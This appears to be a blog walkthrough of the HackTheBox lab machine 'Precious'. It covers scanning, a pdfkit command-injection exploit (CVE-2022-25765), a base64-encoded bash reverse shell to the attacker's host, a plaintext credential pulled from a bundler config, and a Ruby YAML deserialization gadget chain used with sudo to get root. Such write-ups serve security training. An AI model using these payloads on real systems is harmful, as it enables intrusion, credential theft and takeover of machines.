Post

Precious - HackTheBox

INTRODUCTION

Precious is an easy linux based box on HackTheBox, created by Nauten.

Foothold on the box is obtained through a CVE that leads to Remote Code Execution (RCE).

Then a hardcoded secret gets us a low privileged user.

Finally the root on the box is obtained by a insecure deserialization vulnerability in a ruby library.

SCANNING

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/precious]
└─$ rustscan -a 10.10.11.189 -r 1-65535 --ulimit 5000                           
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/n3hal/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.189:22
Open 10.10.11.189:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-23 03:15 EST
Initiating Ping Scan at 03:15
Scanning 10.10.11.189 [2 ports]
Completed Ping Scan at 03:15, 0.24s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:15
Completed Parallel DNS resolution of 1 host. at 03:15, 5.56s elapsed
DNS resolution of 1 IPs took 5.56s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0]
Initiating Connect Scan at 03:15
Scanning 10.10.11.189 [2 ports]
Discovered open port 80/tcp on 10.10.11.189
Discovered open port 22/tcp on 10.10.11.189
Completed Connect Scan at 03:15, 0.24s elapsed (2 total ports)
Nmap scan report for 10.10.11.189
Host is up, received syn-ack (0.24s latency).
Scanned at 2022-12-23 03:15:35 EST for 1s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.14 seconds

There are 2 ports open: 22 and 80.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/precious]
└─$ nmap -sC -sV -p 22,80 -n 10.10.11.189
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-23 03:17 EST
Nmap scan report for 10.10.11.189
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.52 seconds

Obviously, SSH is running on port 22 and HTTP web service on port 80.

Also, we get to know about a domain name precious.htb. We need to add this in our /etc/hosts file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/precious]
└─$ nmap -sC -sV -p 80 -n precious.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-23 03:20 EST
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.82 seconds

The web server is running on nginx/1.18.0.

Looking at the http-title (Convert Web Page to PDF), one can assume that the website is about a service that converts a web page to a pdf.

ENUMERATING WEB

We can provide a URL, and this service probably snaps it into pdf.

When https://google.com is given as input, we can see the error message Cannot load remote URL!.

This is probably due to the fact that the box is not connected to the internet, and hence can not make request to the given URL.

This can be vulnerable to SSRF. Let us first see how should a correct output look like.

I am creating python http.server for this.

1
2
3
4
5
6
7
8
9
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/precious]
└─$ echo '<h1>Testing by Cur1osity</h1>' > index.html        
                                                                                                                                                                                                       
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/precious]
└─$ python -m http.server 80                                             
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...


When we give http://<attacker ip>/index.html, a pdf is sent back with our html page converted to pdf as contents.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/precious]
└─$ exiftool ix1e6gpx3zrpxc7ra10ohxc1jlhsc91b.pdf 
ExifTool Version Number         : 12.44
File Name                       : ix1e6gpx3zrpxc7ra10ohxc1jlhsc91b.pdf
Directory                       : .
File Size                       : 11 kB
File Modification Date/Time     : 2022:12:23 03:39:46-05:00
File Access Date/Time           : 2022:12:23 03:39:46-05:00
File Inode Change Date/Time     : 2022:12:23 03:39:46-05:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6
                                                            

The metadata of the PDF reveals the utility used to create it: pdfkit v0.8.6.

There is a RCE issue specific to that version of utility, having CVE id: CVE-2022-25765.

If pdfkit tries to render a URL that is controlled by user, it can potentially lead to RCE.

If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF.

Learn more about it here.

PAYLOAD:

1
2
3
http://[attacker ip]/index.html?name=#{'%20`ping -c 4 [attacker ip]`'}

1
2
3
4
5
6
7
8
9
10
11
12
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/precious]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
03:52:10.333065 IP 10.10.14.1 > 10.10.X.X: ICMP host precious.htb unreachable, length 68
03:52:10.333086 IP 10.10.14.1 > 10.10.X.X: ICMP host precious.htb unreachable, length 68
03:52:10.333095 IP 10.10.14.1 > 10.10.X.X: ICMP host precious.htb unreachable, length 68
03:52:10.333100 IP 10.10.14.1 > 10.10.X.X: ICMP host precious.htb unreachable, length 68
03:52:10.333107 IP 10.10.14.1 > 10.10.X.X: ICMP host precious.htb unreachable, length 68
03:52:13.630245 IP 10.10.14.1 > 10.10.X.X: ICMP host precious.htb unreachable, length 68

We can see the pings on our box. The blind RCE is hence confirmed.

SHELL AS RUBY

1
2
3
4
5
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/precious]
└─$ echo 'bash -i >& /dev/tcp/10.10.X.X/443 0>&1' | base64 
YmFzaCAtaSA+JiAv..........SNIP...........y80NDMgMD4mMQo=

The reverse shell payload is base64 encoded so the dangerous characters does not cause a problem.

FINAL PAYLOAD:

1
2
3
http://10.10.X.X/?name=#{'%20`echo YmFzaCAtaSA+JiAv..........SNIP...........y80NDMgMD4mMQo= | base64 -d | bash`'}

1
2
3
4
5
6
7
┌──(n3hal㉿Universe7)-[~/Documents/hackthebox/precious]
└─$ nc -nlp 443
bash: cannot set terminal process group (678): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$

We got shell as user ruby.

SHELL AS HENRY

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ruby@precious:~$ ls -la
total 24
drwxr-xr-x 3 ruby ruby 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
ruby@precious:~$ 
ruby@precious:~$ ls -la .bundle/
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 3 ruby ruby 4096 Oct 26 08:28 ..
-r-xr-xr-x 1 root ruby   62 Sep 26 05:04 config
ruby@precious:~$ 
ruby@precious:~$ cat .bundle/config 
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

The /home/ruby/.bundle/config file reveals the credentials for another user henry.

1
2
3
4
5
6
7
8
ruby@precious:~$ su - henry
Password: 
henry@precious:~$ 
henry@precious:~$ id; whoami
uid=1000(henry) gid=1000(henry) groups=1000(henry)
henry

PRIVILEGE ESCALATION

1
2
3
4
5
6
7
8
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

User henry can run the ruby script /opt/update_dependencies.rb as root without any password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
henry@precious:/opt$ ls -al
total 16
drwxr-xr-x  3 root root 4096 Oct 26 08:28 .
drwxr-xr-x 18 root root 4096 Nov 21 15:11 ..
drwxr-xr-x  2 root root 4096 Oct 26 08:28 sample
-rwxr-xr-x  1 root root  848 Sep 25 11:02 update_dependencies.rb
henry@precious:/opt$ cat update_dependencies.rb 
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
henry@precious:/opt$ cat sample/dependencies.yml 
yaml: 0.1.1
pdfkit: 0.8.6

The script file is not writable.

The script is reading names of gems and the versions from a YAML file. Then it compares the versions with the installed gem version, and prints something to the screen based on that. It is not even installing the dependency.

One thing worth noting here is that the file dependencies.yml does not have absolute path, meaning that we can control this yml file from any arbitrary directory we have access to.

The yml file is called on the YAML.load().

The YAML.load() function is vulnerable to insecure deserialization vulnerability which leads to RCE.

Read more about it here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
henry@precious:/dev/shm/cur1osity$ cat dependencies.yml 
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve
henry@precious:/dev/shm/cur1osity$ 
henry@precious:/dev/shm/cur1osity$ sudo ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
root@precious:/dev/shm/cur1osity# 
root@precious:/dev/shm/cur1osity# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
root@precious:/dev/shm/cur1osity# hostname
precious
root@precious:/dev/shm/cur1osity# date
Fri 23 Dec 2022 04:30:42 AM EST
root@precious:/dev/shm/cur1osity# 

When we ran the script as root, the value of git_set is called as bash command and we got root.

This is all in this box.

Thanks for reading this far.

Hope you liked it.

This post is licensed under CC BY 4.0 by the author.